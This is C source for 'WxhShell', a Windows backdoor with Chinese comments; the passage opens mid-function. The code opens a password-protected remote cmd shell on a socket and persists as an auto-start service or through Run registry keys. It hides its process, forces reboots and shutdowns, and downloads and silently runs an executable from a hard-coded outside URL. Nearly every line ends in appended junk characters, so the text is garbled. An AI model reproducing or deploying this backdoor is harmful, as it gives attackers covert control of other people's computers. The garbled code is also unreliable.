  case 'd': { yiiYq(\{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #8QQZdC8`  
    if(Boot(SHUTDOWN)) D?;$:D"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u.gnv dU  
    else { +QqYf1@F  
    closesocket(wsh); +m]$P,yMt  
    ExitThread(0); CFkM}`v0  
    } a>G|t5w  
    break; 2D,9$ 0k_]  
    } 2mWW0txil  
  // 获取shell c4k3|=f  
  case 's': { m = "N4!  
    CmdShell(wsh); a$l  
    closesocket(wsh); U8PSJ0ny  
    ExitThread(0); bT2b)nf  
    break; AbC /  
  } bO^#RVH  
  // 退出 F\ yxXOI  
  case 'x': { CfNHv-jDL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i"p)%q~ z  
    CloseIt(wsh); t-)C0<  
    break; : 2Ho  
    } %+ynrg-  
  // 离开 %(79;#2`  
  case 'q': { $*tq$DZ4&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `BG{\3>  
    closesocket(wsh); iP6$;Y{ZA  
    WSACleanup(); 7y1J69IK  
    exit(1); 8%nb1CA  
    break; ?6P P_QY  
        } uW3`gwwlU  
  } +1zCb=;!{  
  } /p+ (_Y  
`9}\kn-</8  
  // 提示信息 (p08jR '5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  m_LW<'  
} M^JRHpTn  
  } Sp3?I2 o  
\$n?J(N  
  return; D<B/oSy  
} [4KW64%l  
rnz9TmN:*1  
// shell模块句柄 9tvLj5~  
int CmdShell(SOCKET sock) X YO09#>&  
{ g!;k$`@{E'  
STARTUPINFO si; ^|M\vO  
ZeroMemory(&si,sizeof(si)); tkx1iBW=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >bWx!M]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }>Gnp c  
PROCESS_INFORMATION ProcessInfo; ]V \qX+K  
char cmdline[]="cmd"; He^u+N@B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *u^N_y  
  return 0; /^v?Q9=Y  
} Y>LgpO.  
WX$mAQDV  
// 自身启动模式 O*^=  
int StartFromService(void) FjYih>  
{ {-;lcOD  
typedef struct  W|XTa  
{ T|dQY~n~  
  DWORD ExitStatus; s\A"B#9r  
  DWORD PebBaseAddress; [zmx  
  DWORD AffinityMask; 9Ps[i)-  
  DWORD BasePriority; jkw:h0hX  
  ULONG UniqueProcessId; ug*#rpb  
  ULONG InheritedFromUniqueProcessId; %"Tn=fZIF  
}   PROCESS_BASIC_INFORMATION; a'=C/ s+  
h >V8YJ  
PROCNTQSIP NtQueryInformationProcess; PI@/jh  
| d}f\a`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mGR}hsQpn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HPJ\]HV(  
aN9#ATE  
  HANDLE             hProcess; E=!=4"rZF  
  PROCESS_BASIC_INFORMATION pbi; %H OMX{~}#  
0ant0<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pMZKF=  
  if(NULL == hInst ) return 0; 5A(zQ'6  
` QC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Ezq}F8Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y+D 3(Bsn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PAG.],"D  
v"'Co6fw  
  if (!NtQueryInformationProcess) return 0; oL?(; `"&  
>'IFr9&3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "[(&$ I  
  if(!hProcess) return 0; 242dT/j  
A$*#n8 ,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :EOx>Pf_9)  
9$[I~I#z  
  CloseHandle(hProcess); fh~"A`d  
5)X;q-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .Cv0Ze  
if(hProcess==NULL) return 0; [KrWL;[1 <  
+-_71rJc.  
HMODULE hMod; 7w}D2|+  
char procName[255]; p<>x qU  
unsigned long cbNeeded; W_k;jy_{9  
V=yRE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Z0Y:"  
!: e(-  
  CloseHandle(hProcess); / S  
q-c9YOz_  
if(strstr(procName,"services")) return 1; // 以服务启动 3#fu; ??1.  
[Xp{z tGE  
  return 0; // 注册表启动 G dZ_  
} Nxk3uF^  
VayU   
// 主模块 Nda,G++5(  
int StartWxhshell(LPSTR lpCmdLine) a*4"j2j v  
{ <~aQ_l  
  SOCKET wsl; ~ou1{NS  
BOOL val=TRUE; Cj).  
  int port=0; JTT"t@__  
  struct sockaddr_in door; x!\FB.h4!(  
M6(oJ*  
  if(wscfg.ws_autoins) Install(); &P8 Run  
`x;8,7W;B  
port=atoi(lpCmdLine); 3Cq/ o'  
9G8n'jWyY  
if(port<=0) port=wscfg.ws_port; Q _}i8p '  
iUuG}rqj  
  WSADATA data; k< b`v&G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  & t b  
C N9lK29F)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   At5:X*vD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d~L`*"/)[  
  door.sin_family = AF_INET; s3m]rC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tPO\e]  
  door.sin_port = htons(port); Zf~ [4Eeb  
/m,0H)w1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1VW;[ ocQ  
closesocket(wsl); $YDZtS&h  
return 1; x' Z<  
} s>sIji  
a/@<KnT  
  if(listen(wsl,2) == INVALID_SOCKET) { U^_'e_)  
closesocket(wsl); >:l; W4j  
return 1; LS:3Dtq  
} |_l\.  
  Wxhshell(wsl); ?f+w:FO  
  WSACleanup(); ?DVO\ Cp  
$cO"1mu  
return 0; _E5%Px5>L  
gi`K^L=C  
} _]E ~ci}  
l ' ]d&  
// 以NT服务方式启动 DM6oMT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +Ux)m4}j  
{ '< OB  j  
DWORD   status = 0; iKB8V<[\T  
  DWORD   specificError = 0xfffffff; }G&#pw2  
& -  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]Jj\**  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9GS<d.#Nvc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bAeN>~WvY  
  serviceStatus.dwWin32ExitCode     = 0; cOUsbxYTD  
  serviceStatus.dwServiceSpecificExitCode = 0; ]B>Y  +  
  serviceStatus.dwCheckPoint       = 0; <!:,(V>F(C  
  serviceStatus.dwWaitHint       = 0; zypZ3g{vz  
e,Xvt5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &Pt|  
  if (hServiceStatusHandle==0) return; =SLP}bP{:  
/vPh_1  
status = GetLastError(); '#<?QE!d2  
  if (status!=NO_ERROR) LBtVK, ?  
{ ]}9cOb%I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wgSA6mQZ  
    serviceStatus.dwCheckPoint       = 0; 7\^b+*  
    serviceStatus.dwWaitHint       = 0; %" $.2O@  
    serviceStatus.dwWin32ExitCode     = status; f+0dwlIlC$  
    serviceStatus.dwServiceSpecificExitCode = specificError; wP1dPl_j:0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7dX1.}M<(  
    return; K&"Yv~h  
  } wd*i~A3+?  
I"3Qdi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xZFha=#  
  serviceStatus.dwCheckPoint       = 0; ]M{SM`Ya  
  serviceStatus.dwWaitHint       = 0; mKZ?H$E%%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @{.rDz  
} \~xsBPX+x  
c[<lr  
// 处理NT服务事件,比如:启动、停止 =KNg "|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z>k6T4(  
{ ezlp~z"_k  
switch(fdwControl) (|ga#%iI  
{ E?z 3&C  
case SERVICE_CONTROL_STOP: /{7x|ay]  
  serviceStatus.dwWin32ExitCode = 0; 5gI@~h S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^/R@bp#<  
  serviceStatus.dwCheckPoint   = 0; U_!"&O5lr  
  serviceStatus.dwWaitHint     = 0; Gyy:.]>&  
  { 8nES=<rz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `(=)8>|e  
  } j3`:;'L  
  return; >?M:oUVDU  
case SERVICE_CONTROL_PAUSE: M6 AQ8~z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (W3R3>;  
  break; Qo?"hgjlqm  
case SERVICE_CONTROL_CONTINUE: ~n]:f7?I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |kV,B_qz  
  break; ;^}cZ  
case SERVICE_CONTROL_INTERROGATE: w[PW-m^`  
  break; }?*:uf  
}; |Y/iq9l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4OCz:t  
} H) q9.Jg  
BEPDyy  
// 标准应用程序主函数 zfi{SO l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G7%Nwe~Y  
{ Z i7(lG  
0plRsZ}  
// 获取操作系统版本 !Si ZA"  
OsIsNt=GetOsVer(); Jd1eOeS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g IX"W;  
`mw@"  
  // 从命令行安装 =h&DW5QC  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~DqNA%Mb  
, X$S4>  
  // 下载执行文件 ?Dd2k%o  
if(wscfg.ws_downexe) { 2)[81a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zd#qBj]g  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vl^jTX5N  
} #: ' P3)&  
MrOW&7  
if(!OsIsNt) { ]o,)#/' $  
// 如果时win9x,隐藏进程并且设置为注册表启动 (jY.S|%  
HideProc(); ( }JX ]-  
StartWxhshell(lpCmdLine); K<Yh'RvTD  
} N@Slc 0  
else ODv)-J  
  if(StartFromService()) s%4)}w;z  
  // 以服务方式启动 ?_<ZCH  
  StartServiceCtrlDispatcher(DispatchTable); n )`*{uv$  
else C{V,=Fo^  
  // 普通方式启动 \F7NuG:m,  
  StartWxhshell(lpCmdLine); miY=xwK&  
RRGs:h@;  
return 0; 71!'k>]h  
} zTS#o#`!\  
4&+lc*  
1QJB4|5R#  
tA]Y=U+Q  
=========================================== d0 qc%.s  
{2MS,Ua{  
?_+8K`B  
u$V8fus0  
{;E]#=|  
LGPPyK Nx  
" ]Wdnr1d~8  
dId&tTMmC  
#include <stdio.h> ]aTF0 R  
#include <string.h> J\c\Ar :  
#include <windows.h> w-?|6I}T  
#include <winsock2.h> (YKkJ  
#include <winsvc.h> Cso-WG,  
#include <urlmon.h> =Xh*w  
h1jEulcMtq  
#pragma comment (lib, "Ws2_32.lib") +w'He9n  
#pragma comment (lib, "urlmon.lib") @]xH t&j  
ISALR{Aq  
#define MAX_USER   100 // 最大客户端连接数 c&;Xjy  
#define BUF_SOCK   200 // sock buffer ]B>g~t5J  
#define KEY_BUFF   255 // 输入 buffer L|N[.V9  
{&d )O  
#define REBOOT     0   // 重启 ~fR-cXj"  
#define SHUTDOWN   1   // 关机 KG9FR*"  
8xQjJ  
#define DEF_PORT   5000 // 监听端口 XVWVY}  
u[~= a 5:4  
#define REG_LEN     16   // 注册表键长度 B[B(=4EzMP  
#define SVC_LEN     80   // NT服务名长度 kb2M3%6 V  
a0=>@?  
// 从dll定义API D;QV`Z% I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T f;:C]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); unN=yeut  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tX 3y{W10"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :elTqw>pn  
Zq\Vq:MX  
// wxhshell配置信息 Fooa~C"  
struct WSCFG { KmE<+/x~?  
  int ws_port;         // 监听端口 Sxg&73;ZV  
  char ws_passstr[REG_LEN]; // 口令 1G62Qu$O  
  int ws_autoins;       // 安装标记, 1=yes 0=no e =Teq~K  
  char ws_regname[REG_LEN]; // 注册表键名 TSHH=`cx  
  char ws_svcname[REG_LEN]; // 服务名 gPz p/I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L$4nbOu\~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;/|3U7{c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3E]IEf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ):pFI/iC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w;(B4^?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @(_f}S gfE  
F-I\x  
}; 8@J5tFJ&%  
n9x&Ws;  
// default Wxhshell configuration n,.t~  
struct WSCFG wscfg={DEF_PORT, CY i{WV(:  
    "xuhuanlingzhe", =nYd|Ok  
    1, (,gpR4O[  
    "Wxhshell", R`F54?th  
    "Wxhshell", w< hw>e^.  
            "WxhShell Service", SJtQK-%wK>  
    "Wrsky Windows CmdShell Service", OeuM9c{  
    "Please Input Your Password: ", >_Dq)n;%  
  1, {/C \GxH+  
  "http://www.wrsky.com/wxhshell.exe", R N1q/H|  
  "Wxhshell.exe" R`wL%I!?f  
    }; Y?(kE` R  
e `!PQMLU  
// 消息定义模块 `N_elf://n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ' {L5 3cH=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (hB&OP5Fne  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ] {r*Z6bs  
char *msg_ws_ext="\n\rExit."; !TH3oLd"  
char *msg_ws_end="\n\rQuit."; zoV4Gl  
char *msg_ws_boot="\n\rReboot..."; ^ 2"r't  
char *msg_ws_poff="\n\rShutdown..."; B>3joe}  
char *msg_ws_down="\n\rSave to "; ^T[8j/9o^  
G6C#M-S  
char *msg_ws_err="\n\rErr!"; p`jkyi  
char *msg_ws_ok="\n\rOK!"; oh k.;  
FC:Z9{2!  
char ExeFile[MAX_PATH]; ieN}Ajl2  
int nUser = 0; 2nW:|*:/p6  
HANDLE handles[MAX_USER]; Une,Y4{u  
int OsIsNt; 7cGc`7  
"lcNjyU\O  
SERVICE_STATUS       serviceStatus; P8N`t&r"7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N02X*NC  
@)A)cBv#  
// 函数声明 @5!Mr5;  
int Install(void); M]O _L  
int Uninstall(void); CbmT aEaP  
int DownloadFile(char *sURL, SOCKET wsh); B? $9M9  
int Boot(int flag); ~s@PP'!  
void HideProc(void); =IQ+9Fl2  
int GetOsVer(void); }Ut*Y*  
int Wxhshell(SOCKET wsl); 3;@/`Z_\lt  
void TalkWithClient(void *cs); "|?zQ?E  
int CmdShell(SOCKET sock); vUEG0{8l  
int StartFromService(void); -}u=tiNG  
int StartWxhshell(LPSTR lpCmdLine); :+%"kgJNL  
!_Z\K$Ns  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  F?UI8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y}<w)b1e|  
Zd~'%(q  
// 数据结构和表定义 #wXq'yi  
SERVICE_TABLE_ENTRY DispatchTable[] = !~+"TI}_%w  
{ B$R"Ntp  
{wscfg.ws_svcname, NTServiceMain}, )-D{]>8  
{NULL, NULL} y0!-].5UH  
}; ldd|"[Ds  
xq`mo  
// 自我安装 ?b?6/_W~R  
int Install(void) 42*y27Dtm  
{ KIyhvY~  
  char svExeFile[MAX_PATH]; /NFk@8<?  
  HKEY key; Akar@wh  
  strcpy(svExeFile,ExeFile); /.54r/FN')  
}V20~ hi  
// 如果是win9x系统,修改注册表设为自启动 v2OK/W,0  
if(!OsIsNt) { $A GW8"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^|u7+b'|t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'R'P^  
  RegCloseKey(key); !*[Fw1-J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lD`@{A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s"hSn_m  
  RegCloseKey(key); =ttvC"4?  
  return 0; ~ IPel  
    } iME )Jl&  
  } 8>U{>]WG  
} #%Z 0!  
else { $<;!F=%8  
Y[_{tS#u  
// 如果是NT以上系统,安装为系统服务 DrAp&A|WV|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U +c ?x2\  
if (schSCManager!=0)  fP+RuZ  
{ ;iol 2  
  SC_HANDLE schService = CreateService T\ixS-%^  
  ( pr\wI?:k  
  schSCManager, g0Rny  
  wscfg.ws_svcname, NOC8h\s}(  
  wscfg.ws_svcdisp, p"%K(NL  
  SERVICE_ALL_ACCESS, caG5S#8-"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , , %8keGhl  
  SERVICE_AUTO_START, p(B^](?  
  SERVICE_ERROR_NORMAL, =1kE2u  
  svExeFile, [-ONs  
  NULL, 1/JtL>SKE  
  NULL, Ff eX;pi  
  NULL, H0!LiazA>  
  NULL, 'M2Jw8i  
  NULL +^hFs7je)  
  ); 5S:#I5Wa  
  if (schService!=0) V}ZF\SG(K  
  { ?g2Wu0<  
  CloseServiceHandle(schService); %^}3:0G  
  CloseServiceHandle(schSCManager); {zhN>n_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  lTsl=  
  strcat(svExeFile,wscfg.ws_svcname); X<J NwjM%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t5 n$sF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [aX'eM q  
  RegCloseKey(key); cMxTv4|wui  
  return 0; 'Uqz,  
    } hh`7b,+ 4  
  } Hw[u Sv8  
  CloseServiceHandle(schSCManager); lil1$K: i  
} t>><|~wp  
} eZs34${fN  
9r% O  
return 1; W>0 36  
} O#fGHI<43[  
XJTY91~R  
// 自我卸载 \gy39xoW(  
int Uninstall(void) dN J2pfvv  
{ EXUjdJs"  
  HKEY key; S !cc%  
hkeOe  
if(!OsIsNt) { 2:^Dv1J)rD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  6!])\Ay  
  RegDeleteValue(key,wscfg.ws_regname); -L(F:  
  RegCloseKey(key); WjtmV2b<7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !\.x7N<)0  
  RegDeleteValue(key,wscfg.ws_regname); }7E2,A9_"  
  RegCloseKey(key); '+^HeM^;  
  return 0; 5Og.:4  
  } Y ## ftQ  
} $NzD&b$7  
} }6MHIr=o  
else { yZ=wT,Y  
B uV@w-|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .zO/8y(@  
if (schSCManager!=0) ]Ec\!,54u  
{ ,[ &@?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <eK F  
  if (schService!=0) NL%5'8F>,  
  { E$dPu  
  if(DeleteService(schService)!=0) { z6#~B&  
  CloseServiceHandle(schService); 7<DlA>(oUX  
  CloseServiceHandle(schSCManager); hDI_qZ  
  return 0; <m:8%]%M6  
  } $TS4YaJ%  
  CloseServiceHandle(schService); ).e_iE[&  
  } F1%-IBe  
  CloseServiceHandle(schSCManager); /9<zG}:B  
} ;:NW  
} G$&SlJZEk  
%_N-~zZ1E  
return 1; #]pFE.o  
} P 0v&*y3Y  
N 0h* |  
// 从指定url下载文件 *T0{ yI  
int DownloadFile(char *sURL, SOCKET wsh) Kk|uN#m  
{ QQ^P IQj  
  HRESULT hr; A7,TM&  
char seps[]= "/"; x TEDC,B  
char *token; $6Z@0H@X  
char *file; 4sOo>.<x  
char myURL[MAX_PATH]; [O92JT:li  
char myFILE[MAX_PATH]; ikd~k>F  
*CG-F=  
strcpy(myURL,sURL); D0NSzCHx  
  token=strtok(myURL,seps); dV(61C0wn  
  while(token!=NULL) :s|" ZR  
  { D  /wX  
    file=token; H<bYm]a%  
  token=strtok(NULL,seps); AB92R/  
  } :(gZ\q">k  
I\eM8`Y$  
GetCurrentDirectory(MAX_PATH,myFILE); ZdQt!  
strcat(myFILE, "\\"); ?QuD:v ck  
strcat(myFILE, file); <2Q+? L{  
  send(wsh,myFILE,strlen(myFILE),0); i!5zHn  
send(wsh,"...",3,0); 3Q'Q %2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^i>Tm9vM  
  if(hr==S_OK) =y)e&bj  
return 0; M}Sn$h_  
else xx[XwN;  
return 1; tB-0wD=PR  
CHxu%- g  
} M:&g5y&  
#w_cos[I  
// 系统电源模块 !>gi9z,  
int Boot(int flag)  {*!L[)  
{ c8'a<<sj  
  HANDLE hToken; w Q!C9Gp3e  
  TOKEN_PRIVILEGES tkp; 6@ B_3y  
IpX.ube  
  if(OsIsNt) { /{h@A~<96  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KY}c}*0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2Fwp\I;  
    tkp.PrivilegeCount = 1; j0^%1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pv@P(y?\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &d1|B`gL|  
if(flag==REBOOT) { 1>5l(zK!9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Aun X[X9  
  return 0; C%#%_ "N  
} L-J 7z+{  
else { v[-.]b*5A$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M1UabqQ  
  return 0; (6b*JQ^^  
} |a||oyrN  
  } _[J @w.l(  
  else { LmCr[9/  
if(flag==REBOOT) { K+2sq+ 3q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wd9y8z;  
  return 0; gzV&S5A{_  
}  Xaz`L  
else { DcjF $E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^t p6G  
  return 0; Tf0"9  
} F?APDGAN  
} by*?PhfF  
1W@ C]n4  
return 1; ,drbj.0-  
} c)L1@qdZ  
aHhr_.>X  
// win9x进程隐藏模块 g3fxf(iY(  
void HideProc(void) 'r/+z a:2  
{ h\]D:S  
/RWQ+Zf-Y]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U"SH fI:  
  if ( hKernel != NULL ) >VnBWa<j3  
  { *!mT#Vm^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  ~OdE!!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IF>dsAAI<  
    FreeLibrary(hKernel); ;r&Z?B$  
  } Q'JK *.l  
em3+V  
return; Gt*K:KT=L  
} v+in:\Dv  
Aipm=C8  
// 获取操作系统版本 }BI6dZ~2A  
int GetOsVer(void) 4jTO:aPh_  
{ MooH`2Fd  
  OSVERSIONINFO winfo; .#SgU<Wq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S@u46X>  
  GetVersionEx(&winfo); fWA# n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "aKlvK:77  
  return 1; QlB9m2XB  
  else _XP}f x7$C  
  return 0; q)?!]|pZ  
} q M_c-^F  
vde!k_,wZ  
// 客户端句柄模块 ENqZ=Lyq  
int Wxhshell(SOCKET wsl) Xe&9| M  
{ iTdamu`L  
  SOCKET wsh; om`B:=+  
  struct sockaddr_in client; {9|*au(K  
  DWORD myID; -`Z!p  
fCNQUK{Gs5  
  while(nUser<MAX_USER) B2$cY;LH  
{ M {'(+a[  
  int nSize=sizeof(client); i^:#*Q-co  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gzhIOeY  
  if(wsh==INVALID_SOCKET) return 1; M __S)  
'")'h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1l)j(,Zd*  
if(handles[nUser]==0) AfO.D ?4x  
  closesocket(wsh); PhuHfw4$y,  
else 7P2(q  
  nUser++; -J 6`  
  } Yg5o!A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ua=7YG  
<tZtt9j_  
  return 0; #'f5owk>,  
} R<8!lQ4s  
v6KF0mqA&  
// 关闭 socket #mcGT\tQ  
void CloseIt(SOCKET wsh) f.u+({"ql  
{ \&X*-T[]j  
closesocket(wsh); >z69r0)>  
nUser--; RD'i(szi?  
ExitThread(0); *8xMe  
} Z;GZ?NOlY  
^y&sKO  
// 客户端请求句柄 NT [~AK9M  
void TalkWithClient(void *cs) gLPgh%B4  
{ mA']*)L1  
x]jJ  
  SOCKET wsh=(SOCKET)cs; ioS(;2F  
  char pwd[SVC_LEN]; *z\L  
  char cmd[KEY_BUFF]; YST{ h{  
char chr[1]; A<s9c=d6  
int i,j; W%^;:YQ9i  
Q96^rjY  
  while (nUser < MAX_USER) { A"~4|`W  
6.g k6  
if(wscfg.ws_passstr) { TbA=bkj[4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Fh5*UC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H)l7:a  
  //ZeroMemory(pwd,KEY_BUFF); ;B !u=_'  
      i=0; |jE0H!j  
  while(i<SVC_LEN) { xnD"LK  
'Q F@@48  
  // 设置超时 _mn2bc9M  
  fd_set FdRead; :LEC[</yvl  
  struct timeval TimeOut; Z</.Ss 4  
  FD_ZERO(&FdRead); K/ 5U;oC  
  FD_SET(wsh,&FdRead); eJwHeG  
  TimeOut.tv_sec=8; }IGoPCV|  
  TimeOut.tv_usec=0; Doc_rQYku  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &pZn cm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $c<NEt_\  
bL]NSD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yRv4,{B}X>  
  pwd=chr[0]; 0JM`*f%n  
  if(chr[0]==0xd || chr[0]==0xa) { "8sB,$  
  pwd=0; 3r-oZ8/n  
  break; 7@uhw">mX  
  } *'jI>^o  
  i++; 4RoE>m1[G  
    } K#!c<Li#  
;dVYR=l  
  // 如果是非法用户,关闭 socket WYXh1_nyk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pa8R;A70Dl  
}  \qj(`0HG  
1E]TH/JK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); * faG0le  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s2*~n_B  
-h8@B+  
while(1) { y0_z_S#gO  
,Vr-E  
  ZeroMemory(cmd,KEY_BUFF); zqt{oN_  
"1HKD  
      // 自动支持客户端 telnet标准   qe<aJn  
  j=0; 'K*. ?M  
  while(j<KEY_BUFF) { ]L{diD 2G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^9fY %98  
  cmd[j]=chr[0]; <b#1L  
  if(chr[0]==0xa || chr[0]==0xd) { ^e\H V4s  
  cmd[j]=0; g`\5!R1  
  break; 33z^Q`MTC  
  } GLWEoV9<  
  j++; _`.Wib+  
    } F0x'^Z}Q;  
^n~bx *f  
  // 下载文件 6%L#FSI  
  if(strstr(cmd,"http://")) { :Fh#"<A&&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *!m(oP  
  if(DownloadFile(cmd,wsh)) 7 tQ?av  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i# bcjH  
  else GW,RE\Q:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tnoy#w}Ve  
  } %Hu?syo  
